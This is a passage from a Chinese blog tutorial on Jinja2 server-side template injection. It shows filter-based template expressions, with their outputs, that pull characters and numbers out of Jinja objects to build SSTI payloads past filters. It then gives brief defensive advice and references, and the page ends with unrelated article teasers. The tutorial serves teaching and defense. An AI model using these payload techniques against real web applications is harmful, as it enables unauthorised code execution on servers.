  返回一个迭代器(key, value)映射项。

其他用法详见官方文档:

Template Designer Documentation - Jinja Documentation (3.2.x)

使用过滤器构造Payload,一般思路是利用这些过滤器,逐步拼接出需要的字符、数字或字符串。对于一般原始字符的获取方法有以下几种:

{% set org = ({ }|select()|string()) %}{{org}}
# <generator object select_or_reject at 0x0000020B2CA4EA20>
{% set org = (self|string()) %}{{org}}
# <TemplateReference None>
{% set org = self|string|urlencode %}{{org}}
# %3CTemplateReference%20None%3E
{% set org = (app.__doc__|string) %}{{org}}
# Hello The default undefined type.  This undefined type can be printed and
#    iterated over, but every other access will raise an :exc:`UndefinedError`:
#
#     >>> foo = Undefined(name='foo')
#     >>> str(foo)
#     ''
#     >>> not foo
#     True
#     >>> foo + 42
#     Traceback (most recent call last):
#       ...
#     jinja2.exceptions.UndefinedError: 'foo' is undefined
{% set num = (self|int) %}{{num}}
# 0
{% set num = (self|string|length) %}{{num}}
# 24
{% set point = self|float|string|min %}{{point}}
# .

防御方法:

(1)和其他的注入防御一样,绝对不要让用户对传入模板的内容或者模板本身进行控制
(2)减少或者放弃直接使用格式化字符串结合字符串拼接的模板渲染方式,使用正规的模板渲染方法

参考文章:

一篇文章带你理解漏洞之 SSTI 漏洞 | K0rz3n's Blog

 【网络安全 | 1.5w字总结】SSTI漏洞入门,这一篇就够了。-CSDN博客

 超详细SSTI模板注入漏洞原理讲解_ssti注入-CSDN博客

 https://www.cnblogs.com/2ha0yuk7on/p/16648850.html


http://www.niftyadmin.cn/n/5442902.html

相关文章

[Qt学习笔记]Qt实现自定义控件SwitchButton开关按钮

1、功能介绍 在项目UI中使用较多的打开/关闭的开关按钮&#xff0c;一般都是找图片去做效果&#xff0c;比如说如下的图像来表征打开或关闭。 如果想要控件有打开/关闭的动画效果或比较好的视觉效果&#xff0c;这里就可以使用自定义控件&#xff0c;使用Painter来绘制控件。软…

用户画像揭秘:那些神奇的算法,你了解多少?

在数字化浪潮汹涌的今天,用户画像已成为企业精准营销、个性化服务的关键武器。那么,究竟有哪些算法在用户画像的构建中发挥着重要作用呢?今天,就让我们一起走进用户画像的神奇世界,探索那些隐藏在背后的算法奥秘。 首先,我们要明白用户画像是什么。简单来说,用户画像就…

WPF —— DataGrid数据网格

1 &#xff1a;DataGrid简介 DataGrid 是数据网格 : 可以显示网格数据的控件&#xff0c;通过自定义列模版 来去实现各种网格效果 &#xff0c; 可以使用以下几中标签显示不同数据 2 &#xff1a;DataGrid常用的组件 显示文本: DataGridTextColumn 显示复选框: DataGridChec…

C语言之数据在计算机内部的存储

文章目录 一、前言二、类型的基本归类1、整型家族2、浮点数家族3、构造类型4、指针类型 三、整型在内存中的存储1、原码、反码、补码1.1 概念1.2 原码与补码的转换形式1.3 计算机内部的存储编码 2、大小端介绍~~2.1 为什么要有大端和小端之分&#xff1f;2.2 大&#xff08;小&…

音视频实战---从音视频文件中提取h264裸流

1、使用avformat_alloc_context分配解复用器上下文内存 2、使用avformat_open_input打开音视频文件或网络流 3、使用avformat_find_stream_info获取码流信息 4、使用 av_find_best_stream获取视频流下标 5、分配编码数据av_packet_alloc内存空间 6、使用av_init_packet初始…

【Caddy】 Ubuntu 下卸载 Caddy

要在 Ubuntu 下卸载 Caddy&#xff0c;你可以按照以下步骤进行&#xff1a; 步骤一&#xff1a;停止 Caddy 服务 首先&#xff0c;停止正在运行的 Caddy 服务&#xff1a; sudo systemctl stop caddy步骤二&#xff1a;卸载 Caddy 软件包 执行以下命令卸载 Caddy 软件包&am…

MATLAB中的函数,如何创建和调用函数?

MATLAB是一种用于数值计算的高级编程语言和交互式环境&#xff0c;广泛应用于算法开发、数据可视化、数据分析和数值计算等领域。在MATLAB中&#xff0c;函数是执行特定任务的一段代码&#xff0c;它可以从脚本或其他函数中调用。函数可以接受输入参数&#xff0c;并返回输出结…

vue iframe实现父页面实时调用子页面方法和内容

父页面标签添加鼠标按下事件 父页方法中建立iframe通信 实时调用子页面方法 实时更改子页面文本内容